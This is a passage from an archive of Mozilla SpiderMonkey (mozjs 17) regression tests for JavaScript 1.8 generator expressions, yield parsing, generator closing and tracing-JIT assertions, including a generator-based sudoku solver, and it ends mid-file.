mozjs17.0.0/js/src/tests/js1_8/genexps/shell.js0000664000175000017500000000000012106270663021176 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_8/genexps/regress-666852.js0000664000175000017500000000125012106270663022327 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 665286; var summary = 'yield in comprehension RHS'; var actual = ''; var expect = ''; function reported() { [1 for (x in yield)] } reportCompare(reported.isGenerator(), true, "reported case: is generator"); reportCompare(typeof reported(), "object", "reported case: calling doesn't crash"); mozjs17.0.0/js/src/tests/js1_8/genexps/arguments-property-access-in-generator.js0000664000175000017500000000136512106270663027624 0ustar sstanglsstangl/* * Any copyright is dedicated to the Public Domain. * http://creativecommons.org/licenses/publicdomain/ * Contributor: * Jeff Walden */ //----------------------------------------------------------------------------- var BUGNUMBER = 721322; var summary = 'Allow f.arguments in generator expressions'; print(BUGNUMBER + ": " + summary); /************** * BEGIN TEST * **************/ eval("(function() { return (f.arguments for (x in [1])); })()"); eval("(function() { var f = { arguments: 12 }; return [f.arguments for (x in [1])]; })()"); /******************************************************************************/ if (typeof reportCompare === "function") reportCompare(true, true); print("Tests complete"); mozjs17.0.0/js/src/tests/js1_8/genexps/regress-665286.js0000664000175000017500000000217012106270663022331 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 665286; var summary = 'yield in arguments list'; var actual = ''; var expect = ''; function reported() { function f() { x } f(yield []) } function simplified1() { print(yield) } function simplified2() { print(1, yield) } reportCompare(reported.isGenerator(), true, "reported case: is generator"); reportCompare(typeof reported(), "object", "reported case: calling doesn't crash"); reportCompare(simplified1.isGenerator(), true, "simplified case 1: is generator"); reportCompare(typeof simplified1(), "object", "simplified case 1: calling doesn't crash"); reportCompare(simplified2.isGenerator(), true, "simplified case 2: is generator"); reportCompare(typeof simplified2(), "object", "simplified case 2: calling doesn't crash"); mozjs17.0.0/js/src/tests/js1_8/genexps/browser.js0000664000175000017500000000000012106270663021552 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_8/genexps/regress-380237-02.js0000664000175000017500000000167412106270663022546 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 380237; var summary = 'Decompilation of generator expressions'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); var f = function() { g = (d for (d in [0])); g.next(); }; expect = 'function() { g = (d for (d in [0])); g.next(); }'; actual = f + ''; compareSource(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/genexps/regress-380237-01.js0000664000175000017500000001364412106270663022545 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 380237; var summary = 'Generator expressions - sudoku'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); if (this.version) version(180); // XXX should be standard (and named clone, after Java?) Object.prototype.copy = function () { let o = {} for (let i in this) o[i] = this[i] return o } // Make arrays and strings act more like Python lists by iterating their values, not their keys. Array.prototype.__iterator__ = String.prototype.__iterator__ = function () { for (let i = 0; i < this.length; i++) yield this[i] } // Containment testing for arrays and strings that should be coherent with their __iterator__. Array.prototype.contains = String.prototype.contains = function (e) { return this.indexOf(e) != -1 } Array.prototype.repeat = String.prototype.repeat = function (n) { let s = this.constructor() for (let i = 0; i < n; i++) s = s.concat(this) return s } String.prototype.center = function (w) { let n = this.length if (w <= n) return this let m = Math.floor((w - n) / 2) return ' '.repeat(m) + this + ' '.repeat(w - n - m) } Array.prototype.toString = Array.prototype.toSource Object.prototype.toString = Object.prototype.toSource // XXX thought spurred by the next two functions: array extras should default to identity function function all(seq) { for (let e in seq) if (!e) return false return true } function some(seq) { for (let e in seq) if (e) return e return false } function cross(A, B) { return [a+b for (a in A) for (b in B)] } function dict(A) { let d = {} for (let e in A) d[e[0]] = e[1] return d } function set(A) { let s = [] for (let e in A) if (!s.contains(e)) s.push(e) return s } function zip(A, B) { let z = [] let n = Math.min(A.length, B.length) for (let i = 0; i < n; i++) z.push([A[i], B[i]]) return z } rows = 'ABCDEFGHI' cols = '123456789' digits = '123456789' squares = cross(rows, cols) unitlist = [cross(rows, c) for (c in cols)] .concat([cross(r, cols) for (r in rows)]) .concat([cross(rs, cs) for (rs in ['ABC','DEF','GHI']) for (cs in ['123','456','789'])]) units = dict([s, [u for (u in unitlist) if (u.contains(s))]] for (s in squares)) peers = dict([s, set([s2 for (u in units[s]) for (s2 in u) if (s2 != s)])] for (s in squares)) // Given a string of 81 digits (or . or 0 or -), return a dict of {cell:values}. function parse_grid(grid) { grid = [c for (c in grid) if ('0.-123456789'.contains(c))] let values = dict([s, digits] for (s in squares)) for (let [s, d] in zip(squares, grid)) if (digits.contains(d) && !assign(values, s, d)) return false return values } // Eliminate all the other values (except d) from values[s] and propagate. function assign(values, s, d) { if (all(eliminate(values, s, d2) for (d2 in values[s]) if (d2 != d))) return values return false } // Eliminate d from values[s]; propagate when values or places <= 2. function eliminate(values, s, d) { if (!values[s].contains(d)) return values // Already eliminated values[s] = values[s].replace(d, '') if (values[s].length == 0) return false // Contradiction: removed last value if (values[s].length == 1) { // If there is only one value (d2) left in square, remove it from peers let d2 = values[s][0] if (!all(eliminate(values, s2, d2) for (s2 in peers[s]))) return false } // Now check the places where d appears in the units of s for (let u in units[s]) { let dplaces = [s for (s in u) if (values[s].contains(d))] if (dplaces.length == 0) return false if (dplaces.length == 1) // d can only be in one place in unit; assign it there if (!assign(values, dplaces[0], d)) return false } return values } // Used for debugging. function print_board(values) { let width = 1 + Math.max.apply(Math, [values[s].length for (s in squares)]) let line = '\n' + ['-'.repeat(width*3)].repeat(3).join('+') for (let r in rows) print([values[r+c].center(width) + ('36'.contains(c) && '|' || '') for (c in cols)].join('') + ('CF'.contains(r) && line || '')) print('\n') } easy = "..3.2.6..9..3.5..1..18.64....81.29..7.......8..67.82....26.95..8..2.3..9..5.1.3.." print_board(parse_grid(easy)) // Using depth-first search and constraint propagation, try all possible values. function search(values) { if (!values) return false // Failed earlier if (all(values[s].length == 1 for (s in squares))) return values // Solved! // Choose the unfilled square s with the fewest possibilities // XXX Math.min etc. should work with generator expressions and other iterators // XXX Math.min etc. should work on arrays (lists or tuples in Python) as well as numbers let a = [values[s].length + s for (s in squares) if (values[s].length > 1)].sort() let s = a[0].slice(-2) return some(search(assign(values.copy(), s, d)) for (d in values[s])) } hard = '4.....8.5.3..........7......2.....6.....8.4......1.......6.3.7.5..2.....1.4......' print_board(search(parse_grid(hard))) delete Object.prototype.copy; reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/genexps/regress-683738.js0000664000175000017500000000342712106270663022341 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 683738; var summary = 'return with argument and lazy generator detection'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); expect = "generator function foo returns a value"; try { actual = 'No Error'; eval("function foo(x) { if (x) { return this; } else { yield 3; } }"); } catch(ex) { actual = ex.message; } reportCompare(expect, actual, summary + ": 1"); expect = "generator function foo returns a value"; try { actual = 'No Error'; eval("function foo(x) { if (x) { yield 3; } else { return this; } }"); } catch(ex) { actual = ex.message; } reportCompare(expect, actual, summary + ": 2"); expect = "generator function foo returns a value"; try { actual = 'No Error'; eval("function foo(x) { if (x) { return this; } else { (yield 3); } }"); } catch(ex) { actual = ex.message; } reportCompare(expect, actual, summary + ": 3"); expect = "generator function foo returns a value"; try { actual = 'No Error'; eval("function foo(x) { if (x) { (yield 3); } else { return this; } }"); } catch(ex) { actual = ex.message; } reportCompare(expect, actual, summary + ": 4"); } mozjs17.0.0/js/src/tests/js1_8/genexps/regress-634472.js0000664000175000017500000002705612106270663022334 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 634472; var summary = 'contextual restrictions for yield and arguments'; var actual = ''; var expect = ''; function error(str) { let base; try { // the following line must not be broken up into multiple lines base = (function(){try{eval('throw new Error()')}catch(e){return e.lineNumber}})(); eval(str); return null; } catch (e) { e.lineNumber = e.lineNumber - base + 1; return e; } } const JSMSG_GENEXP_YIELD = error("(function(){((yield) for (x in []))})").message; const JSMSG_GENEXP_ARGUMENTS = error("(function(){(arguments for (x in []))})").message; const JSMSG_TOP_YIELD = error("yield").message; const JSMSG_YIELD_PAREN = error("(function(){yield, 1})").message; const JSMSG_GENERIC = error("(for)").message; const JSMSG_GENEXP_PAREN = error("print(1, x for (x in []))").message; const JSMSG_BAD_GENERATOR_SYNTAX = error("(1, arguments for (x in []))").message; const JSMSG_GENEXP_MIX = { simple: JSMSG_BAD_GENERATOR_SYNTAX, call: JSMSG_GENEXP_ARGUMENTS }; const cases = [ // yield expressions { expr: "yield", top: JSMSG_TOP_YIELD, fun: null, gen: JSMSG_GENEXP_YIELD, desc: "simple yield" }, { expr: "yield 1", top: JSMSG_TOP_YIELD, fun: null, gen: JSMSG_GENEXP_YIELD, desc: "yield w/ arg" }, { expr: "1, yield", top: JSMSG_TOP_YIELD, fun: null, gen: JSMSG_GENEXP_YIELD, desc: "simple yield at end of list" }, { expr: "1, yield 2", top: JSMSG_TOP_YIELD, fun: null, gen: JSMSG_GENEXP_YIELD, desc: "yield w/ arg at end of list" }, { expr: "yield, 1", top: JSMSG_TOP_YIELD, fun: JSMSG_YIELD_PAREN, gen: JSMSG_YIELD_PAREN, desc: "simple yield in list" }, { expr: "yield 1, 2", top: JSMSG_TOP_YIELD, fun: JSMSG_YIELD_PAREN, gen: JSMSG_YIELD_PAREN, desc: "yield w/ arg in list" }, { expr: "(yield)", top: JSMSG_TOP_YIELD, fun: null, gen: JSMSG_GENEXP_YIELD, desc: "simple yield, parenthesized" }, { expr: "(yield 1)", top: JSMSG_TOP_YIELD, fun: null, gen: JSMSG_GENEXP_YIELD, desc: "yield w/ arg, parenthesized" }, { expr: "(1, yield)", top: JSMSG_TOP_YIELD, fun: null, gen: JSMSG_GENEXP_YIELD, desc: "simple yield at end of list, parenthesized" }, { expr: "(1, yield 2)", top: JSMSG_TOP_YIELD, fun: null, gen: JSMSG_GENEXP_YIELD, desc: "yield w/ arg at end of list, parenthesized" }, { expr: "(yield, 1)", top: JSMSG_TOP_YIELD, fun: JSMSG_YIELD_PAREN, gen: JSMSG_YIELD_PAREN, desc: "simple yield in list, parenthesized" }, { expr: "(yield 1, 2)", top: JSMSG_TOP_YIELD, fun: JSMSG_YIELD_PAREN, gen: JSMSG_YIELD_PAREN, desc: "yield w/ arg in list, parenthesized" }, // deeply nested yield expressions { expr: "((((yield))))", top: JSMSG_TOP_YIELD, fun: null, gen: JSMSG_GENEXP_YIELD, desc: "deeply nested yield" }, { expr: "((((yield 1))))", top: JSMSG_TOP_YIELD, fun: null, gen: JSMSG_GENEXP_YIELD, desc: "deeply nested yield w/ arg" }, // arguments { expr: "arguments", top: null, fun: null, gen: JSMSG_GENEXP_ARGUMENTS, desc: "simple arguments" }, { expr: "1, arguments", top: null, fun: null, gen: JSMSG_GENEXP_ARGUMENTS, desc: "arguments in list" }, { expr: "(arguments)", top: null, fun: null, gen: JSMSG_GENEXP_ARGUMENTS, desc: "simple arguments, parenthesized" }, { expr: "(1, arguments)", top: null, fun: null, gen: JSMSG_GENEXP_ARGUMENTS, desc: "arguments in list, parenthesized" }, { expr: "((((arguments))))", top: null, fun: null, gen: JSMSG_GENEXP_ARGUMENTS, desc: "deeply nested arguments" }, // yield in generator expressions { expr: "(yield for (x in []))", top: JSMSG_TOP_YIELD, fun: JSMSG_GENERIC, gen: JSMSG_GENERIC, desc: "simple yield in genexp" }, { expr: "(yield 1 for (x in []))", top: JSMSG_TOP_YIELD, fun: JSMSG_GENEXP_YIELD, gen: JSMSG_GENEXP_YIELD, desc: "yield w/ arg in genexp" }, { expr: "(yield, 1 for (x in []))", top: JSMSG_TOP_YIELD, fun: JSMSG_YIELD_PAREN, gen: JSMSG_YIELD_PAREN, desc: "simple yield in list in genexp" }, { expr: "(yield 1, 2 for (x in []))", top: JSMSG_TOP_YIELD, fun: JSMSG_YIELD_PAREN, gen: JSMSG_YIELD_PAREN, desc: "yield w/ arg in list in genexp" }, { expr: "(1, yield for (x in []))", top: JSMSG_TOP_YIELD, fun: JSMSG_GENERIC, gen: JSMSG_GENERIC, desc: "simple yield at end of list in genexp" }, { expr: "(1, yield 2 for (x in []))", top: JSMSG_TOP_YIELD, fun: { simple: JSMSG_GENEXP_YIELD, call: JSMSG_GENEXP_PAREN }, gen: JSMSG_GENEXP_YIELD, desc: "yield w/ arg at end of list in genexp" }, { expr: "((yield) for (x in []))", top: JSMSG_TOP_YIELD, fun: JSMSG_GENEXP_YIELD, gen: JSMSG_GENEXP_YIELD, desc: "simple yield, parenthesized in genexp" }, { expr: "((yield 1) for (x in []))", top: JSMSG_TOP_YIELD, fun: JSMSG_GENEXP_YIELD, gen: JSMSG_GENEXP_YIELD, desc: "yield w/ arg, parenthesized in genexp" }, { expr: "(1, (yield) for (x in []))", top: JSMSG_TOP_YIELD, fun: JSMSG_GENEXP_YIELD, gen: JSMSG_GENEXP_YIELD, desc: "simple yield, parenthesized in list in genexp" }, { expr: "(1, (yield 2) for (x in []))", top: JSMSG_TOP_YIELD, fun: JSMSG_GENEXP_YIELD, gen: JSMSG_GENEXP_YIELD, desc: "yield w/ arg, parenthesized in list in genexp" }, { expr: "((1, yield) for (x in []))", top: JSMSG_TOP_YIELD, fun: JSMSG_GENEXP_YIELD, gen: JSMSG_GENEXP_YIELD, desc: "simple yield at end of list, parenthesized in genexp" }, { expr: "((1, yield 2) for (x in []))", top: JSMSG_TOP_YIELD, fun: JSMSG_GENEXP_YIELD, gen: JSMSG_GENEXP_YIELD, desc: "yield w/ arg at end of list, parenthesized in genexp" }, { expr: "(1, (2, yield) for (x in []))", top: JSMSG_TOP_YIELD, fun: JSMSG_GENEXP_YIELD, gen: JSMSG_GENEXP_YIELD, desc: "simple yield at end of list, parenthesized in list in genexp" }, { expr: "(1, (2, yield 3) for (x in []))", top: JSMSG_TOP_YIELD, fun: JSMSG_GENEXP_YIELD, gen: JSMSG_GENEXP_YIELD, desc: "yield w/ arg at end of list, parenthesized in list in genexp" }, { expr: "((yield, 1) for (x in []))", top: JSMSG_TOP_YIELD, fun: JSMSG_YIELD_PAREN, gen: JSMSG_YIELD_PAREN, desc: "simple yield in list, parenthesized in genexp" }, { expr: "((yield 1, 2) for (x in []))", top: JSMSG_TOP_YIELD, fun: JSMSG_YIELD_PAREN, gen: JSMSG_YIELD_PAREN, desc: "yield w/ arg in list, parenthesized in genexp" }, { expr: "(1, (yield, 2) for (x in []))", top: JSMSG_TOP_YIELD, fun: JSMSG_YIELD_PAREN, gen: JSMSG_YIELD_PAREN, desc: "simple yield in list, parenthesized in list in genexp" }, { expr: "(1, (yield 2, 3) for (x in []))", top: JSMSG_TOP_YIELD, fun: JSMSG_YIELD_PAREN, gen: JSMSG_YIELD_PAREN, desc: "yield w/ arg in list, parenthesized in list in genexp" }, // deeply nested yield in generator expressions { expr: "((((1, yield 2))) for (x in []))", top: JSMSG_TOP_YIELD, fun: JSMSG_GENEXP_YIELD, gen: JSMSG_GENEXP_YIELD, desc: "deeply nested yield in genexp" }, { expr: "((((1, yield 2)) for (x in [])) for (y in []))", top: JSMSG_TOP_YIELD, fun: JSMSG_GENEXP_YIELD, gen: JSMSG_GENEXP_YIELD, desc: "deeply nested yield in multiple genexps" }, // arguments in generator expressions { expr: "(arguments for (x in []))", top: JSMSG_GENEXP_ARGUMENTS, fun: JSMSG_GENEXP_ARGUMENTS, gen: JSMSG_GENEXP_ARGUMENTS, desc: "simple arguments in genexp" }, { expr: "(1, arguments for (x in []))", top: JSMSG_GENEXP_MIX, fun: JSMSG_GENEXP_MIX, gen: JSMSG_GENEXP_MIX, desc: "arguments in list in genexp" }, { expr: "((arguments) for (x in []))", top: JSMSG_GENEXP_ARGUMENTS, fun: JSMSG_GENEXP_ARGUMENTS, gen: JSMSG_GENEXP_ARGUMENTS, desc: "arguments, parenthesized in genexp" }, { expr: "(1, (arguments) for (x in []))", top: JSMSG_GENEXP_MIX, fun: JSMSG_GENEXP_MIX, gen: JSMSG_GENEXP_MIX, desc: "arguments, parenthesized in list in genexp" }, { expr: "((1, arguments) for (x in []))", top: JSMSG_GENEXP_ARGUMENTS, fun: JSMSG_GENEXP_ARGUMENTS, gen: JSMSG_GENEXP_ARGUMENTS, desc: "arguments in list, parenthesized in genexp" }, { expr: "(1, (2, arguments) for (x in []))", top: JSMSG_GENEXP_MIX, fun: JSMSG_GENEXP_MIX, gen: JSMSG_GENEXP_MIX, desc: "arguments in list, parenthesized in list in genexp" }, // deeply nested arguments in generator expressions { expr: "((((1, arguments))) for (x in []))", top: JSMSG_GENEXP_ARGUMENTS, fun: JSMSG_GENEXP_ARGUMENTS, gen: JSMSG_GENEXP_ARGUMENTS, desc: "deeply nested arguments in genexp" }, { expr: "((((1, arguments)) for (x in [])) for (y in []))", top: JSMSG_GENEXP_ARGUMENTS, fun: JSMSG_GENEXP_ARGUMENTS, gen: JSMSG_GENEXP_ARGUMENTS, desc: "deeply nested arguments in multiple genexps" }, // legal yield/arguments in nested function { expr: "((function() { yield }) for (x in []))", top: null, fun: null, gen: null, desc: "legal yield in nested function" }, { expr: "((function() { arguments }) for (x in []))", top: null, fun: null, gen: null, desc: "legal arguments in nested function" }, { expr: "((function() arguments) for (x in []))", top: null, fun: null, gen: null, desc: "legal arguments in nested expression-closure" } ]; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function splitKeyword(str) { return str. replace(/yield for/, '\nyield for\n'). replace(/yield ([0-9])/, '\nyield $1\n'). replace(/yield([^ ]|$)/, '\nyield\n$1'). replace(/arguments/, '\narguments\n'); } function expectError1(err, ctx, msg) { reportCompare('object', typeof err, 'exn for: ' + msg); reportCompare(ctx, err.message, 'exn message for: ' + msg); if (ctx !== JSMSG_BAD_GENERATOR_SYNTAX) reportCompare(2, err.lineNumber, 'exn token for: ' + msg); } function expectError(expr, call, wrapCtx, expect, msg) { let exps = (typeof expect === "string") ? { simple: expect, call: expect } : expect; expectError1(error(wrapCtx(expr)), exps.simple, msg); if (call) expectError1(error(wrapCtx(call)), exps.call, 'call argument in ' + msg); } function expectSuccess(err, msg) { reportCompare(null, err, 'parse: ' + msg); } function atTop(str) { return str } function inFun(str) { return '(function(){' + str + '})' } function inGen(str) { return '(y for (y in ' + str + '))' } function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); for (let i = 0, len = cases.length; i < len; i++) { let {expr, top, fun, gen, desc} = cases[i]; let call = (expr[0] === "(") ? ("print" + expr) : null; expr = splitKeyword(expr); if (call) call = splitKeyword(call); if (top) expectError(expr, call, atTop, top, 'top-level context, ' + desc); else expectSuccess(error(expr), 'top-level context, ' + desc); if (fun) expectError(expr, call, inFun, fun, 'function context, ' + desc); else expectSuccess(error(inFun(expr)), 'function context, ' + desc); if (gen) expectError(expr, call, inGen, gen, 'genexp context, ' + desc); else expectSuccess(error(inGen(expr)), 'genexp context, ' + desc); } exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/genexps/regress-349326.js0000664000175000017500000000620312106270663022324 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 349326; var summary = 'closing generators'; var actual = 'PASS'; var expect = 'PASS'; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); let closed; function gen() { try { yield 1; yield 2; } finally { closed = true; } } // Test that return closes the generator function test_return() { for (let i in gen()) { if (i != 1) throw "unexpected generator value"; return 10; } } closed = false; test_return(); if (closed !== true) throw "return does not close generator"; // test that break closes generator closed = false; for (let i in gen()) { if (i != 1) throw "unexpected generator value"; break; } if (closed !== true) throw "break does not close generator"; label: { for (;;) { closed = false; for (let i in gen()) { if (i != 1) throw "unexpected generator value"; break label; } } } if (closed !== true) throw "break does not close generator"; // test that an exception closes generator function function_that_throws() { throw function_that_throws; } try { closed = false; for (let i in gen()) { if (i != 1) throw "unexpected generator value"; function_that_throws(); } } catch (e) { if (e !== function_that_throws) throw e; } if (closed !== true) throw "exception does not close generator"; // Check consistency of finally execution in presence of generators let gen2_was_closed = false; let gen3_was_closed = false; let finally_was_executed = false; function gen2() { try { yield 2; } finally { if (gen2_was_closed || !finally_was_executed || !gen3_was_closed) throw "bad oder of gen2 finally execution" gen2_was_closed = true; throw gen2; } } function gen3() { try { yield 3; } finally { if (gen2_was_closed || finally_was_executed || gen3_was_closed) throw "bad oder of gen3 finally execution" gen3_was_closed = true; } } label2: { try { for (let i in gen2()) { try { for (let j in gen3()) { break label2; } } finally { if (gen2_was_closed || finally_was_executed || !gen3_was_closed) throw "bad oder of try-finally execution"; finally_was_executed = true; } } throw "gen2 finally should throw"; } catch (e) { if (e != gen2) throw e; } } print("OK"); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/genexps/regress-349012-01.js0000664000175000017500000000234612106270663022536 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 349012; var summary = 'closing a generator fails to report error if yield during close is ignored'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- if (typeof quit != 'undefined') { quit(0); } function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); expect = "Inner finally,Outer finally"; function gen() { try { try { yield 1; } finally { actual += "Inner finally"; yield 2; } } finally { actual += ",Outer finally"; } } try { for (var i in gen()) break; } catch (e) { if (!(e instanceof TypeError)) throw e; } reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/genexps/regress-347739.js0000664000175000017500000000236312106270663022335 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 347739; var summary = 'generator_instance.close readonly and immune'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); function gen_test(test_index) { try { yield 1; } finally { actual += "Inside finally: "+test_index + ' '; } } actual = ''; expect = 'Inside finally: 1 Inside finally: 2 '; var iter1 = gen_test(1); var close = iter1.close; iter1.close = null; delete iter1.close; iter1.next(); iter1.close(); var iter2 = gen_test(2); for (i in iter2) { iter2.close = null; delete iter2.close; } reportCompare(expect, actual, summary + ': 2'); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/genexps/regress-667131.js0000664000175000017500000000426012106270663022322 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 667131; var summary = 'yield ignored if maybeNoteGenerator called too late'; var actual = ''; var expect = ''; function testGenerator(f, desc) { reportCompare(f.isGenerator(), true, desc + ": is generator"); reportCompare(typeof f(), "object", desc + ": calling doesn't crash"); } function reported1() { (function(){})([yield[]], ("")) } function reported2() { (function(){})(let(w = "") yield, (e)) } function simplified1() { print([yield], (0)) } function simplified2() { print(let(w) yield, (0)) } function f1(a) { [x for (x in yield) for (y in (a))] } function f2(a) { [x for (x in yield) if (y in (a))] } function f3(a) { ([x for (x in yield) for (y in (a))]) } function f4(a) { ([x for (x in yield) if (y in (a))]) } function f5() { print({yield}, (0)) } function f6() { print(<>{yield}, (0)) } function f7() { print({a:yield},(0)) } function f8() { ([yield], (0)) } function f9() { (let(w)yield, (0)) } testGenerator(reported1, "reported function with array literal"); testGenerator(reported2, "reported function with let-expression"); testGenerator(simplified1, "reported function with array literal, simplified"); testGenerator(simplified2, "reported function with let-expression, simplified"); testGenerator(f1, "top-level array comprehension with paren expr in for-block"); testGenerator(f2, "top-level array comprehension with paren expr in if-block"); testGenerator(f3, "parenthesized array comprehension with paren expr in for-block"); testGenerator(f4, "parenthesized array comprehension with paren expr in if-block"); testGenerator(f5, "xml literal"); testGenerator(f6, "xml list literal"); testGenerator(f7, "object literal"); testGenerator(f8, "array literal in paren exp"); testGenerator(f9, "let-expression in paren exp"); mozjs17.0.0/js/src/tests/js1_8/genexps/regress-384991.js0000664000175000017500000000250712106270663022336 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 384991; var summary = ' w(yield) should not cause "yield expression must be parenthesized" syntax error'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); expect = 'No Error'; try { actual = 'No Error'; (function() { w((yield)); }); } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary + ': 1'); try { actual = 'No Error'; (function() { w(1 ? yield : 0); }); } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary + ': 2'); try { actual = 'No Error'; (function () { f(x = yield); const x; }); } catch(ex) { actual = ex + ''; } reportCompare(expect, actual, summary + ': 3'); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/0000775000175000017500000000000012106270663017544 5ustar sstanglsstanglmozjs17.0.0/js/src/tests/js1_8/regress/regress-472450-01.js0000664000175000017500000000203412106270663022534 0ustar sstanglsstangl// |reftest| pref(javascript.options.xml.content,true) /* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 472450; var summary = 'TM: Do not assert: StackBase(fp) + blockDepth == regs.sp'; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); for each (let x in [function(){}, {}, {}, function(){}, function(){}, function(){}]) { ([ for (y in x)]); } jit(false); reportCompare(expect, actual, summary); exitFunc ('test'); } mozjs17.0.0/js/src/tests/js1_8/regress/regress-465261.js0000664000175000017500000000166212106270663022326 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ //----------------------------------------------------------------------------- var BUGNUMBER = 465261; var summary = 'TM: Do not assert: '; var actual = ''; var expect = ''; //----------------------------------------------------------------------------- test(); //----------------------------------------------------------------------------- function test() { enterFunc ('test'); printBugNumber(BUGNUMBER); printStatus (summary); jit(true); for (let z = 0; z < 2; ++z) { for each (let x in [0, true, (void 0), 0, (void 0)]) { if(x){} } }; jit(false); reportCompare(expect, 